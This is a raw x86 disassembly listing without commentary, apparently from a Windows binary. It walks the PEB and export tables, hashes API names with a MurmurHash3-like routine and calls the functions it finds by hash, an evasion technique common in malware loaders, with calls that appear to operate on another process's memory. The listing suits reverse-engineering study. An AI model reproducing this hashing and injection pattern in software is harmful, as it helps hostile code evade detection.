mov edx, dword [ecx + 0x18]
test edx, edx
je 0x406742
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, esi
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, esi
mov dword [ebp - 0x24], ecx
dec edx
mov esi, 0x8f4f7c66
mov dword [ebp - 0x294], edx
mov cl, byte [edi]
inc edi
test cl, cl
je 0x406734
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x4066c1
cmp esi, 0x773e22b
je 0x406749
mov edx, dword [ebp - 0x294]
mov ecx, dword [ebp - 0x24]
mov esi, dword [eax + 0x18]
test edx, edx
jne 0x4066a3
mov eax, dword [eax]
jmp 0x406670
mov esi, dword [ebp - 0x29c]
mov ecx, dword [ebp - 0x294]
mov edx, dword [ebp - 0x298]
push 0
mov eax, dword [esi + 0x24]
push 0
push dword [ebp - 0x2a0]
push dword [ebp - 0x2b4]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
push 0
push 0
push dword [ebp - 0x2a4]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov dword [ebp - 0x2a8], eax
test eax, eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
jne 0x406a00
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x298], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x29c], ecx
cmp ecx, esi
je 0x406882
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x406882
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, esi
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, esi
mov dword [ebp - 0x24], ecx
dec edx
mov esi, 0x1b4f500c
mov dword [ebp - 0x294], edx
mov cl, byte [edi]
inc edi
test cl, cl
je 0x406874
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x406801
cmp esi, 0x29a74b5b
je 0x406889
mov edx, dword [ebp - 0x294]
mov ecx, dword [ebp - 0x24]
mov esi, dword [eax + 0x18]
test edx, edx
jne 0x4067e3
mov eax, dword [eax]
jmp 0x4067b0
mov esi, dword [ebp - 0x29c]
mov ecx, dword [ebp - 0x294]
mov edx, dword [ebp - 0x298]
push 0x8000
mov eax, dword [esi + 0x24]
push 0
push dword [ebp - 0x2a0]
push dword [ebp - 0x2a4]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x298], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x29c], ecx
cmp ecx, esi
je 0x4069b1
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x4069b1
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, esi
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, esi
mov dword [ebp - 0x24], ecx
dec edx
mov esi, 0xa5ff1b20
mov dword [ebp - 0x294], edx
mov cl, byte [edi]
inc edi
test cl, cl
je 0x4069a3
nop word [eax + eax]
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x406930
cmp esi, 0xd5dac52c
je 0x4069b8
mov edx, dword [ebp - 0x294]
mov ecx, dword [ebp - 0x24]
mov esi, dword [eax + 0x18]
test edx, edx
jne 0x406904
mov eax, dword [eax]
jmp 0x4068d1
mov esi, dword [ebp - 0x29c]
mov ecx, dword [ebp - 0x294]
mov edx, dword [ebp - 0x298]
push 0x8000
mov eax, dword [esi + 0x24]
push 0
push dword [ebp - 0x2b4]
push dword [ebp - 0x2a4]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x406ec8
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x298], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x29c], ecx
cmp ecx, esi
je 0x406ae1
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x406ae1
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, esi
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, esi
mov dword [ebp - 0x24], ecx
dec edx
mov esi, 0x1256a1b8
mov dword [ebp - 0x294], edx
mov cl, byte [edi]
inc edi
test cl, cl
je 0x406ad3
nop word [eax + eax]
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x406a60
cmp esi, 0x833e5f02
je 0x406ae8
mov edx, dword [ebp - 0x294]
mov ecx, dword [ebp - 0x24]
mov esi, dword [eax + 0x18]
test edx, edx
jne 0x406a33
mov eax, dword [eax]
jmp 0x406a00
mov esi, dword [ebp - 0x29c]
mov ecx, dword [ebp - 0x294]
mov edx, dword [ebp - 0x298]
push dword [ebp - 0x2a8]
mov eax, dword [esi + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
nop word [eax + eax]
mov eax, dword fs:[0x30]
xorps xmm0, xmm0
movups xmmword [ebp - 0x290], xmm0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x298], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x29c], ecx
cmp ecx, esi
je 0x406c11
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x406c11
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, esi
sub ecx, 4
dec edx
mov dword [ebp - 0x24], ecx
mov edi, 0x1404ed9
mov dword [ebp - 0x294], edx
mov ecx, dword [ecx]
add ecx, esi
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x406c00
movsx esi, dl
lea ecx, [ecx + 1]
imul edx, esi, 0xcc9e2d51
rol edx, 0xf
imul edx, edx, 0x1b873593
xor edx, edi
rol edx, 0xd
add edx, 0xfaddaf14
lea edi, [edx + edx*4]
imul edx, esi, 0x51000000
rol edx, 0xf
imul edx, edx, 0x1b873593
xor edi, edx
xor edi, 1
mov edx, edi
shr edx, 0x10
xor edx, edi
imul esi, edx, 0x85ebca6b
mov edx, esi
shr edx, 0xd
xor edx, esi
imul esi, edx, 0xc2b2ae35
mov edx, esi
shr edx, 0x10
xor edx, esi
imul edi, edx, 0x539
mov dl, byte [ecx - 1]
test dl, dl
jne 0x406b90
cmp edi, 0x9a51813c
je 0x406c18
mov esi, dword [eax + 0x18]
mov edx, dword [ebp - 0x294]
mov ecx, dword [ebp - 0x24]
test edx, edx
jne 0x406b73
mov eax, dword [eax]
jmp 0x406b40
mov esi, dword [ebp - 0x29c]
mov ecx, dword [ebp - 0x294]
mov edx, dword [ebp - 0x298]
push 0
mov eax, dword [esi + 0x24]
push 0x10
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x290]
push ecx
push dword [ebp - 0x2a0]
add eax, edx
push dword [ebp - 0x2a4]
call eax
mov eax, dword [ebp - 0x288]
mov dword [ebp - 0x2a8], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x298], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x29c], ecx
cmp ecx, esi
je 0x406d51
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x406d51
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, esi
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, esi
mov dword [ebp - 0x24], ecx
dec edx
mov esi, 0x8b6c2f1f
mov dword [ebp - 0x294], edx
mov cl, byte [edi]
inc edi
test cl, cl
je 0x406d43
nop word [eax + eax]
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x406cd0
cmp esi, 0x88ff7618
je 0x406d58
mov edx, dword [ebp - 0x294]
mov ecx, dword [ebp - 0x24]
mov esi, dword [eax + 0x18]
test edx, edx
jne 0x406ca3
mov eax, dword [eax]
jmp 0x406c70
mov esi, dword [ebp - 0x29c]
mov ecx, dword [ebp - 0x294]
mov edx, dword [ebp - 0x298]
push 0xa
mov eax, dword [esi + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
cmp dword [ebp - 0x2a8], 0
je 0x406b20
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x298], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x29c], ecx
cmp ecx, esi
je 0x406e72
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x406e72
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, esi
mov edi, dword [ecx - 4]
sub ecx, 4
add edi, esi
mov dword [ebp - 0x24], ecx
dec edx
mov esi, 0x15a76abf
mov dword [ebp - 0x294], edx
mov cl, byte [edi]
inc edi
test cl, cl
je 0x406e64
movsx edx, cl
lea edi, [edi + 1]
imul ecx, edx, 0xcc9e2d51
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor ecx, esi
rol ecx, 0xd
add ecx, 0xfaddaf14
lea esi, [ecx + ecx*4]
imul ecx, edx, 0x51000000
rol ecx, 0xf
imul ecx, ecx, 0x1b873593
xor esi, ecx
xor esi, 1
mov ecx, esi
shr ecx, 0x10
xor ecx, esi
imul edx, ecx, 0x85ebca6b
mov ecx, edx
shr ecx, 0xd
xor ecx, edx
imul edx, ecx, 0xc2b2ae35
mov ecx, edx
shr ecx, 0x10
xor ecx, edx
imul esi, ecx, 0x539
mov cl, byte [edi - 1]
test cl, cl
jne 0x406df1
cmp esi, 0x80b8d649
je 0x406e79
mov edx, dword [ebp - 0x294]
mov ecx, dword [ebp - 0x24]
mov esi, dword [eax + 0x18]
test edx, edx
jne 0x406dd3
mov eax, dword [eax]
jmp 0x406da0
mov esi, dword [ebp - 0x29c]
mov ecx, dword [ebp - 0x294]
mov edx, dword [ebp - 0x298]
push 0x8000
mov eax, dword [esi + 0x24]
push 0
push dword [ebp - 0x2b4]
push dword [ebp - 0x2a4]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov al, 1
jmp 0x406eca
mov ecx, dword [ebp - 0x2b8]
push ecx
call fcn.0040c927
add esp, 4
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040c919
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0041194f
int3